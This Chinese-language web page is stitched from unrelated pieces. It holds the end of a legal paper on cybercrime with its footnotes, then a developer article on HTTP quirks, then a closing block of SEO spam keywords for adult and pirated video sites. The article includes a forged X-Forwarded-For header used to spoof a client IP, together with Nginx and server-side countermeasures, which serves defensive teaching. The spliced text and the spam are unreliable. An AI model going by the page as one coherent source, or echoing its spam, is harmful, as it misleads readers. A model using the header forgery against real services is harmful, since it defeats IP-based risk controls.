          對于傳統犯罪在網絡空間中進化為網絡犯罪,需要根據網絡科技的發達程度及其對傳統犯罪的顛覆力度,決定采取解釋論或者立法論的治網方案。據此,對當前我國網絡科技的發展階段作出準確的實事求是的判斷是必要的。1994年4月20日,中國全功能接入國際互聯網,從此開啟互聯網時代。[79]雖然經過二十多年的發展,中國的互聯網事業取得了長足進步,但是,從信息技術的發展前景來看,不僅中國,乃至整個世界,可能都處于網絡時代的初級階段。“盡管計算機可以方便某些類型的罪行的實施,并無疑催生了新的犯罪機會,但是,計算機與方便犯罪或者造成新的犯罪市場的其他技術創新,實際上沒有什么不同。例如,數字復印機使偽造發生了變革。汽車不僅使某些犯罪更容易,而且創造了全新的犯罪市場。”[80]因此,將互聯網作為犯罪工具的網絡犯罪仍然保留了線下傳統犯罪的強大基因,傳統刑法概念的滯后性并未超越其開放性,基于現行刑法的解釋論立場仍大有可為。

          注釋

          [1][美]邁克爾·戈特弗里德森、美特拉維斯·赫希:《犯罪的一般理論》,吳宗憲、蘇明月譯,中國人民公安大學出版社2009年版,第161頁。

          [2]Web(World Wide Web)即全球廣域網,又稱萬維網,是一種基于超文本和HTTP的、全球性的、動態交互的、跨平臺的分布式圖形信息系統。Web1.0、web2.0、web3.0,也可稱為互聯網1.0、互聯網2.0、互聯網3.0。科技界一般使用web1.0/2.0/3.0的簡稱,以此代表互聯網迭代演進的三個不同時代。

          [3]參見劉艷紅《刑法理論因應時代發展需處理好五種關系》,《東方法學》2020年第2期,第6頁。

          [4]參見彭蘭:《“連接”的引進——互聯網進化的基本邏輯》,《國際新聞界》2013年第12期。

          [5]劉瓊、任樹懷:《論web3.0下的信息共享空間》,《圖書館》2011年第2期。

          [6]參見倪穎杰等:《基于高性能數據挖掘的網絡海量信息處理平臺》,《計算機工程與科學》2009年第A1期。

          [7]參見羅明宇等:《計算機網絡安全技術》,《計算機科學》2000年第10期。

          [8]參見翟鈺等:《系統安全漏洞研究及數據庫實現》,《計算機工程》2004年第8期。

          [9]參見董慧、唐敏:《語義檢索在Web2.0環境下的應用探討》,《中國圖書館學報》2011年第3期。

          [10]劉巖:《技術升級與傳媒變革:Web1.0到Web3.0之路》,《電視工程》2019年第1期。

          [11]孫道萃:《網絡刑法知識轉型與立法回應》,《現代法學》2017年第1期。

          [12]崔金紅、王旭:《能力共享架構及其在IM和SNS中的應用研究》,《計算機科學》2008年第12期。

          [13]參見金雷、謝立:《網絡安全綜述》,《計算機工程與設計》2003年第2期。

          [14]吳吉義、平玲娣:《Web2.0主流應用技術——AJAX性能分析》,《計算機工程與設計》2008年第8期。AJAX技術是指“Asynchronous JavaScript And XML”(異步JavaScript和XML),它是一種創建交互式網頁應用的網頁開發技術。

          [15]參見吳吉義、平玲娣:《Web2.0主流應用技術——AJAX性能分析》,《計算機工程與設計》2008年第8期。

          [16]參見孫茜:《Web2.0的含義、特征與應用研究》,《現代情報》2006年第2期。

          [17]參見江蘇省南京市雨花臺區人民法院(2013)雨刑初字第126號刑事判決書;黑龍江省哈爾濱市賓縣人民法院(2015)賓刑初字第254號刑事判決書;羅書臻:《最高法院公布利用網絡侵害婦女未成年人犯罪案例》,《人民法院報》2014年10月22日第1版。

          [18]參見廣東省廣州市天河區人民法院(2005)天法刑初字第1230號刑事判決書,廣東省廣州市中級人民法院(2006)穗中法刑二終字第68號刑事裁定書。

          [19]李德仁、胡慶武:《基于可量測實景影像的空間信息服務》,《武漢大學學報(信息科學版)》2007年第5期。

          [20]參見劉暢:《網人合一·類像世界·體驗經濟——從Web1.0到Web3.0的啟示》,《云南社會科學》2008年第2期。

          [21]J.Hendler,W.Hall and N.Contractor,“Web Science:Now More Than Ever”,Computer,vol.51,no.6(2018),pp.12-17.

          [22]周易君編著:《Web3.0時代的服裝網絡營銷:理論與營銷》,經濟日報出版社2016年版,第3頁。

          [23]參見中國互聯網絡信息中心(CNNI):《中國互聯網絡發展狀況統計報告》2020年4月,第19頁。

          [24]參見崔婉秋、杜軍平:《基于用戶意圖理解的社交網絡跨媒體搜索與挖掘》,《智能系統學報》2017年第6期。

          [25]參見殷慧霞:《Web3.0及其教育應用探究》,《信息技術與信息化》2018年第6期。

          [26]參見張小蝦等:《開設網站供他人進行彩票投注該定何罪》,《檢察日報》2019年6月2日第3版。

          [27]參見江西省贛州市章貢區人民法院(2016)贛0702刑初367號刑事判決書。

          [28]參見貴州省高級人民法院(2015)黔高刑二終字第27號刑事裁定書。

          [29]J.Hendler,“Web 3.0 Merging”,Computer,vol.42,no.1(2009),pp.111-113.

          [30]周佑勇:《智能技術驅動下的訴訟服務問題及其應對之策》,《東方法學》2019年第5期。

          [31]N.Shadbolt,W.Hall and T.Berners-Lee,“The Semantic Web Revisited”,IEEE Intelligent Systems,vol.21,no.3(2006),pp.96-101.語義網(Semantic Web)由蒂姆·博納斯-李(Tim Ber-ners-Lee)于1998年提出,是web3.0時代的重要特征之一,意味著能使整個互聯網成為一個通用的信息交換媒介。

          [32]王興偉:《面向“互聯網+”的網絡技術發展現狀與未來趨勢》,《計算機研究與發展》2016年第4期。

          [33]參見王春:《紹興警方偵破首例利用AI犯罪案》,《法制日報》2017年9月26日第8版。

          [34]參見熊回香等:《基于Web3.0的個性化信息聚合技術研究》,《情報理論與實踐》2011年第8期。

          [35]參見鄭震:《空間:一個社會學的概念》,《社會學研究》2010年第5期。

          [36]參見[法]亨利·勒菲佛:《空間與政治》,李春譯,上海人民出版社2008年版,第9、52、66頁;[英]R.J.約翰斯頓:《哲學與人文地理學》,蔡運龍、江濤譯,商務印書館2010年版,第196-199頁。

          [37][英]約翰·侖尼·肖特:《城市秩序:城市、文化與權利導論》,鄭娟、梁捷譯,上海人民出版社2010年版,第354頁。

          [38]馮雷:《當代空間批判理論的四個主題——對后現代空間論的批判性重構》,《中國社會科學》2008年第3期。

          [39]胡瀟:《空間的社會邏輯——關于馬克思恩格斯空間理論的思考》,《中國社會科學》2013年第1期。

          [40]於興中:《法理學前沿》,中國民主法制出版社2015年版,第144-148頁。

          [41][德]黑格爾:《法哲學原理》,范揚、張企泰譯,商務印書館1961年版,第197頁。

          [42][法]狄驥:《法律與國家》,冷靜譯,鄭戈校,中國法制出版社2010年版,第158頁。

          [43][英]大衛·哈維:《地理學中的解釋》,高泳源、劉立華、蔡運龍譯,高泳源校,商務印書館2012年版,第524頁。

          [44]劉艷紅:《實質刑法觀》,中國人民大學出版社2009年版,第50頁。

          [45][英]鮑桑葵:《關于國家的哲學理論》,汪淑鈞譯,商務印書館1995年版,第191頁。

          [46][阿塞]拉基莫夫:《犯罪與刑罰哲學》,王志華、叢鳳玲譯,黃道秀校,中國政法大學出版社2016年版,第37頁。

          [47]於興中:《時代的法理學:世界與中國》,《浙江社會科學》2016年第1期。

          [48][德]李斯特:《德國刑法教科書》,徐久生譯,法律出版社2006年版,第8頁。

          [49]See David D.Thornburg,The Network is the Computer:The Changing Direction of Classroom Computing(2009),available at http://www.tcse-k12.org/pages/network.pdf(last visited January 10,2016),pp.1-4.

          [50]See Shahid M.Shahidullah,“Federal Laws and Judicial Trends in the Prosecution of Cyber Crime Cases in the United States:First and Fourth Amendment Issues”,Criminal Law Bulletin,vol.45,no.6 (Winter,2009),ART 2.

          [51]Council of Europe web site,at http://www.coe.int/en/web/conventions/full-list/-/conventions/treaty/185/signatures(last visited January 10,2016).

          [52]See Convention on Cybercrime,Nov.23,2001,European Treaty Series-No.185,Preamble.

          [53]Amalie M.Weber,“The Council of Europe's Convention on Cybercrime”,Berkeley Technology Law Journal,vol.18(2003),p.431;Convention on Cybercrime,Nov.23,2001,European Treaty Se-ries-No.185,ch.Ⅱ§1 tit.1-4.

          [54]Council of Europe web site,at http://www.coe.int/en/web/conventions/full-list/-/conventions/treaty/185/signatures(last visited January 10,2016).

          [55]See 18 U.S.C.§§1030,1362,2252B,875(b),1951,1028,1028A,1343,1956- 57,1343,1029,2251-52,2423,1465-66A,875,793,2511,2701,1037;15 U.S.C.§§52,6821,1644.

          [56]See Catherine Pelker,Anthony J.Palmer,Brittany Raia,Jamin Agosti,“Computer Crime”,A-merican Criminal Law Review,vol.52(Fall,2015),p.795.

          [57]See Eric J.Bakewell,Michelle Koldaro,Jennifer M.Tjia,“Computer Crime”,American Crimi-nal Law Review,vol.38(Summer,2001),pp.485-486;Michael W.Carroll,Robert Schrader,“Com-puter-Related Crimes”,American Criminal Law Review,vol.32(Winter,1995),pp.185-186.

          [58][日]上田寬:《犯罪學》,戴波、李世陽譯,商務印書館2016年版,第303頁。

          [59]See Lenese C.Herbert,“Cybercrimes and Hacking Issues”,ALI-ABA Course of Study,vol.SK102 (April,2005),pp.141-143.

          [60][德]烏爾里希·齊白:《全球風險社會與信息社會中的刑法》,中國法制出版社2012年版,第308頁。

          [61][日]伊東研祐:《法益概念史研究》,秦一禾譯,中國人民大學出版社2014年版,第259頁。

          [62]參見張明楷:《法益初論》,中國人民大學出版社2000年版,第197頁。

          [63][德]考夫曼、哈斯默爾主編:《當代法哲學和法律理論導論》,鄭永流譯,法律出版社2013年版,第560-564頁。

          [64]Michael Edmund O'Neill,“Old Crimes in New Bottles:Sanctioning Cybercrime”,George Mason Law Review,vol.9(Winter,2000),p.249.

          [65]參見周麗昀:《身體:符號、隱喻與跨界——唐娜·哈拉維“技科學”的主體解析》,《科學技術哲學研究》2011年第5期。

          [66]參見[日]上田寬:《犯罪學》,戴波、李世陽譯,商務印書館2016年版,第307頁。

          [67]趙秉志主編:《〈中華人民共和國刑法修正案(九)〉理解與適用》,中國法制出版社2016年版,第163頁。

          [68]See Lenese C.Herbert,“Cybercrimes and Hacking Issues”,ALI-ABA Course of Study,vol.SK102 (April,2005),p.141.

          [69]See David R.Johnson&David Post,“Law and Borders:The Rise of Law in Cyberspace”,Stan-ford Law Review,vol.48(May,1996),pp.1368,1370,1378,1379.

          [70]參見于志強:《我國網絡知識產權犯罪制裁體系檢視與未來建構》,《中國法學》2014年第3期。

          [71]參見張文顯主編:《法理學》,高等教育出版社2011年版,第62頁。

          [72]See Neal Kumar Katyal,“Criminal Law in Cyberspace”,University of Pennsylvania Law Re-view,vol.149(April,2001),pp.1004-1005;Michael Edmund O'Neill,“Old Crimes in New Bottles:Sanctioning Cybercrime”,George Mason Law Review,vol.9(Winter,2000),pp.237-238.

          [73]參見閻二鵬:《預備行為實行化的法教義學審視與重構》,《法商研究》2016年第5期。

          [74]參見陸旭:《網絡服務提供者刑事責任及展開》,《法治研究》2015年第6期。

          [75][德]馬克思:《1844年經濟學哲學手稿》,中共中央馬克思恩格斯列寧斯大林著作編譯局譯,人民出版社2000年版,第57頁。

          [76]參見張一兵:《回到馬克思:經濟學語境中的哲學話語》,江蘇人民出版社2013年版,第573頁。

          [77]參見徐育安:《資訊風險與刑事立法》,《臺北大學法學論叢》2014年第91期。

          [78]Harvey A.Silverglate&Philip G.Cormier,“Old Wine in New Bottles:Cyberspace and the Crim-inal Law”,Boston Bar Journal,vol.41(May/June,1997),p.13.

          [79]《中國接入互聯網20年大事記》,載http://news.xinhuanet.com/info/2014-04/20/c_133275990.htm,訪問時間:2016年7月27日。

          [80]Michael Edmund O'Neill,“Old Crimes in New Bottles:Sanctioning Cybercrime”,George Mason Law Review,vol.9(Winter,2000),pp.256-257.

          TTP 協議可以說是開發者最熟悉的一個網絡協議,「簡單易懂」和「易于擴展」兩個特點讓它成為應用最廣泛的應用層協議。

          雖然有諸多的優點,但是在協議定義時因為諸多的博弈和限制,還是隱藏了不少暗坑,讓人一不小心就會陷入其中。本文總結了 HTTP 規范中常見的幾個暗坑,希望大家開發中有意識的規避它們,提升開發體驗。

          1.Referer

          HTTP 標準把 Referrer 寫成 Referer(少些了一個 r),可以說是計算機歷史上最著名的一個錯別字了。

          Referer 的主要作用是攜帶當前請求的來源地址,常用在防爬蟲和防盜鏈上。前段時間鬧的沸沸揚揚的新浪圖床掛圖事件,就是因為新浪圖床突然開始檢查 HTTP Referer 頭,非新浪域名就不返回圖片,導致很多蹭流量的中小博客圖都掛了。

          雖然 HTTP 標準里把 Referer 寫錯了,但是其它可以控制 Referer 的標準并沒有將錯就錯。

          例如禁止網頁自動攜帶 Referer 頭的 <meta> 標簽,相關關鍵字拼寫就是正確的:

          <!-- 全局禁止發送 referrer -->
          <meta name="referrer" content="no-referrer" />
          

          還有一個值得注意的是瀏覽器的網絡請求。從安全性和穩定性上考慮,Referer 等請求頭在網絡請求時,只能由瀏覽器控制,不能直接操作,我們只能通過一些屬性進行控制。比如說 Fetch 函數,我們可以通過 referrer 和 referrerPolicy 控制,而它們的拼寫也是正確的:

          fetch('/page', {
            headers: {
              "Content-Type": "text/plain;charset=UTF-8"
            },
            referrer: "https://demo.com/anotherpage", // <-
            referrerPolicy: "no-referrer-when-downgrade", // <-
          });
          

          一句話總結:

          凡是涉及到 Referrer 的,除了 HTTP 字段是錯的,瀏覽器的相關配置字段拼寫都是正確的。

          二.「靈異」的空格

          1.%20 還是 + ?

          這個是個史詩級的大坑,我曾經被這個協議沖突坑了一天。

          開始講解前先看個小測試,在瀏覽器里輸入 blank test( blank 和 test 間有個空格),我們看看瀏覽器如何處理的:

          從動圖可以看出瀏覽器把空格解析為一個加號「+」。

          是不是感覺有些奇怪?我們再做個測試,用瀏覽器提供的幾個函數試一下:

          encodeURIComponent("blank test") // "blank%20test"
          encodeURI("q=blank test")        // "q=blank%20test"
          new URLSearchParams("q=blank test").toString() // "q=blank+test"
          

          代碼是不會說謊的,其實上面的結果都是正確的,encode 結果不一樣,是因為 URI 規范和 W3C 規范沖突了,才會搞出這種讓人疑惑的烏龍事件。

          2.沖突的協議

          我們首先看看 URI 中的保留字,這些保留字不參與編碼。保留字符一共有兩大類:

          • gen-delims:: / ? # [ ] @
          • sub-delims:! $ & ' ( ) * + , ;=

          URI 的編碼規則也很簡單,先把非限定范圍的字符轉為 16 進制,然后前面加百分號。

          空格這種不安全字符轉為十六進制就是 0x20,前面再加上百分號 % 就是 %20:

          所以這時候再看 encodeURIComponent 和 encodeURI 的編碼結果,就是完全正確的。

          既然空格轉為%20 是正確的,那轉為 + 是怎么回事?這時候我們就要了解一下 HTML form 表單的歷史。

          早期的網頁沒有 AJAX 的時候,提交數據都是通過 HTML 的 form 表單。form 表單的提交方法可以用 GET 也可以用 POST,大家可以在 MDN form 詞條上測試:

          經過測試我們可以看出表單提交的內容中,空格都是轉為加號的,這種編碼類型就是 application/x-www-form-urlencoded,在 WHATWG 規范里是這樣定義的:

          到這里基本上就破案了,URLSearchParams 做 encode 的時候,就按這個規范來的。我找到了 URLSearchParams 的 Polyfill 代碼,里面就做了 %20 到 + 的映射:

          replace={
              '!': '%21',
              "'": '%27',
              '(': '%28',
              ')': '%29',
              '~': '%7E',
              '%20': '+', // <=就是這個
              '%00': '\x00'
          }
          

          規范里對這個編碼類型還有解釋說明:

          The application/x-www-form-urlencoded format is in many ways an aberrant monstrosity, the result of many years of implementation accidents and compromises leading to a set of requirements necessary for interoperability, but in no way representing good design practices. In particular, readers are cautioned to pay close attention to the twisted details involving repeated (and in some cases nested) conversions between character encodings and byte sequences. Unfortunately the format is in widespread use due to the prevalence of HTML forms.

          這種編碼方式就不是個好的設計,不幸的是隨著 HTML form 表單的普及,這種格式已經推廣開了

          其實上面一大段句話就是一個意思:這玩意兒設計的就是 ,但積重難返,大家還是忍一下吧

          3.一句話總結

          • URI 規范里,空格 encode 為 %20, application/x-www-form-urlencoded 格式里,空格 encode 為 +
          • 實際業務開發時,最好使用業內成熟的 HTTP 請求庫封裝請求,這些雜活兒累活兒框架都干了;
          • 如果非要使用原生 AJAX 提交 application/x-www-form-urlencoded 格式的數據,不要手動拼接參數,要用 URLSearchParams 處理數據,這樣可以避免各種惡心的編碼沖突。

          三.X-Forwarded-For 拿到的就是真實 IP 嗎?

          1.故事

          在這個小節開始前,我先講一個開發中的小故事,可以加深一下大家對這個字段的理解。

          前段時間要做一個和風控相關的需求,需要拿到用戶的 IP,開發后灰度了一小部分用戶,測試發現后臺日志里灰度的用戶 IP 全是異常的,哪有這么巧的事情。隨后測試發過來幾個異常 IP:

          10.148.2.122
          10.135.2.38
          10.149.12.33
          ...
          

          一看 IP 特征我就明白了,這幾個 IP 都是 10 開頭的,屬于 A 類 IP 的私有 IP 范圍(10.0.0.0-10.255.255.255),后端拿到的肯定是代理服務器的 IP,而不是用戶的真實 IP。

          2.原理

          現在有些規模的網站基本都不是單點 Server 了,為了應對更高的流量和更靈活的架構,應用服務一般都是隱藏在代理服務器之后的,比如說 Nginx。

          加入接入層后,我們就能比較容易的實現多臺服務器的負載均衡和服務升級,當然還有其他的好處,比如說更好的內容緩存和安全防護,不過這些不是本文的重點就不展開了。

          網站加入代理服務器后,除了上面的幾個優點,同時引入了一些新的問題。比如說之前的單點 Server,服務器是可以直接拿到用戶的 IP 的,加入代理層后,如上圖所示,(應用)原始服務器拿到的是代理服務器的 IP,我前面講的故事的問題就出在這里。

          Web 開發這么成熟的領域,肯定是有現成的解決辦法的,那就是 X-Forwarded-For 請求頭。

          X-Forwarded-For 是一個事實標準,雖然沒有寫入 HTTP RFC 規范里,從普及程度上看其實可以算 HTTP 規范了。

          這個標準是這樣定義的,每次代理服務器轉發請求到下一個服務器時,要把代理服務器的 IP 寫入 X-Forwarded-For 中,這樣在最末端的應用服務收到請求時,就會得到一個 IP 列表:

          X-Forwarded-For: client, proxy1, proxy2
          

          因為 IP 是一個一個依次 push 進去的,那么第一個 IP 就是用戶的真實 IP,取來用就好了。

          但是,事實有這么簡單嗎?

          3.攻擊

          從安全的角度上考慮,整個系統最不安全的就是人,用戶端都是最好攻破最好偽造的。有些用戶就開始鉆協議的漏洞:X-Forwarded-For 是代理服務器添加的,如果我一開始請求的 Header 頭里就加了 X-Forwarded-For ,不就騙過服務器了嗎?

          1. 首先從客戶端發出請求,帶有 X-Forwarded-For 請求頭,里面寫一個偽造的 IP:

          X-Forwarded-For: fakeIP
          

          2. 服務端第一層代理服務收到請求,發現已經有 X-Forwarded-For,誤把這個請求當成代理服務器,于是向這個字段追加了客戶端的真實 IP:

          X-Forwarded-For: fakeIP, client
          

          3. 經過幾層代理后,最終的服務器拿到的 Header 是這樣的:

          X-Forwarded-For: fakeIP, client, proxy1, proxy2
          

          要是按照取 X-Forwarded-For 第一個 IP 的思路,你就著了攻擊者的道了,你拿到的是 fakeIP,而不是 client IP。

          4.破招

          服務端如何破招?上面三個步驟:

          • 第一步是客戶端造假,服務器無法介入
          • 第二步是代理服務器,可控,可防范
          • 第三步是應用服務器,可控,可防范

          第二步的破解我拿 Nginx 服務器舉例。

          我們在最外層的 Nginx 上,對 X-Forwarded-For 的配置如下:

          proxy_set_header X-Forwarded-For $remote_addr;

          什么意思呢?就是最外層代理服務器不信任客戶端的 X-Forwarded-For 輸入,直接覆蓋,而不是追加

          非最外層的 Nginx 服務器,我們配置:

          proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

          $proxy_add_x_forwarded_for 就是追加 IP 的意思。通過這招,就可以破解用戶端的偽造辦法。

          第三步的破解思路也很容易,正常思路我們是取X-Forwarded-For 最左側的 IP,這次我們反其道而行之,從右邊數,減去代理服務器的數目,那么剩下的 IP 里,最右邊的就是真實 IP。

          X-Forwarded-For: fakeIP, client, proxy1, proxy2

          比如說我們已知代理服務有兩層,從右向左數,把 proxy1 和 proxy2 去掉,剩下的 IP 列表最右邊的就是真實 IP。

          相關思路和代碼實現可參考 Egg.js 前置代理模式。

          5.一句話總結總結

          通過 X-Forwarded-For 獲取用戶真實 IP 時,最好不要取第一個 IP,以防止用戶偽造 IP。

          四.略顯混亂的分隔符

          1.HTTP 標準

          HTTP 請求頭字段如果涉及到多個 value 時,一般來說每個 value 間是用逗號「,」分隔的,就連非 RFC 標準的 X-Forwarded-For,也是用逗號分隔 value 的:

          Accept-Encoding: gzip, deflate, br
          cache-control: public, max-age=604800, s-maxage=43200
          X-Forwarded-For: fakeIP, client, proxy1, proxy2

          因為一開始用逗號分隔 value,后面想再用一個字段修飾 value 時,分隔符就變成了分號「;」,最典型的請求頭就是 Accept 了:

          //  q=0.9 修飾的是 application/xml,雖然它們之間用分號分隔
          Accept: text/html, application/xml;q=0.9, */*;q=0.8  

          雖然 HTTP 協議易于閱讀,但是這個分隔符用的還是很不符合常識的。按常理來說,分號的斷句語氣是強于逗號的,但是在 HTTP 內容協商的相關字段里卻是反過來的。這里的定義可以看 RFC 7231,寫的還是比較清楚的。

          2.Cookie 標準

          和常規認識不同,Cookie 其實不算 HTTP 標準,定義 Cookie 的規范是 RFC 6265,所以分隔符規則也不一樣了。規范里定義的 Cookie 語法規則是這樣的:

          cookie-header="Cookie:" OWS cookie-string OWS
          cookie-string=cookie-pair *( ";" SP cookie-pair )

          多個 cookie 之間是用分號「;」分隔的,而不是逗號「,」。我隨便扒了個網站的 cookie,可見是用分號分隔的,這里需要特別注意一下:

          3.一句話總結

          • 大部分 HTTP 字段的 value 分隔符是逗號「,」
          • Cookie 不屬于 HTTP 標準,分隔符是分號「;」

          主站蜘蛛池模板: 国产在线一区二区三区| 中文字幕不卡一区| 麻豆国产在线不卡一区二区| 中文字幕一区二区三区5566| 中文字幕人妻丝袜乱一区三区 | 精品亚洲一区二区三区在线播放| 亚洲av无码成人影院一区| 国产精品第一区揄拍| 九九无码人妻一区二区三区| 日韩成人一区ftp在线播放| 国产视频一区在线播放| 精品综合一区二区三区| 国产成人片视频一区二区| 好爽毛片一区二区三区四| 国产精品日本一区二区在线播放 | 日韩精品人妻av一区二区三区| 国产日韩精品一区二区三区| 日本夜爽爽一区二区三区| 国产一在线精品一区在线观看| 成人精品一区二区三区不卡免费看| 美女啪啪一区二区三区| 人妻av无码一区二区三区| 在线播放偷拍一区精品| 日本一区二区三区在线观看视频| 无码人妻一区二区三区精品视频| 中文字幕在线一区二区三区| 亚洲国产一区二区a毛片| 波多野结衣一区二区三区| 波多野结衣一区二区三区88| 国产综合无码一区二区三区| 精品一区二区三区东京热| 午夜性色一区二区三区不卡视频| 亚洲免费一区二区| 色一乱一伦一图一区二区精品| 亚洲欧美一区二区三区日产| 亚洲AV无码一区二区三区国产| 亚洲AV无码一区二区乱子伦 | 国产在线精品一区在线观看| 国产精品亚洲不卡一区二区三区| 亚洲视频一区调教| 精品一区二区三区视频在线观看 |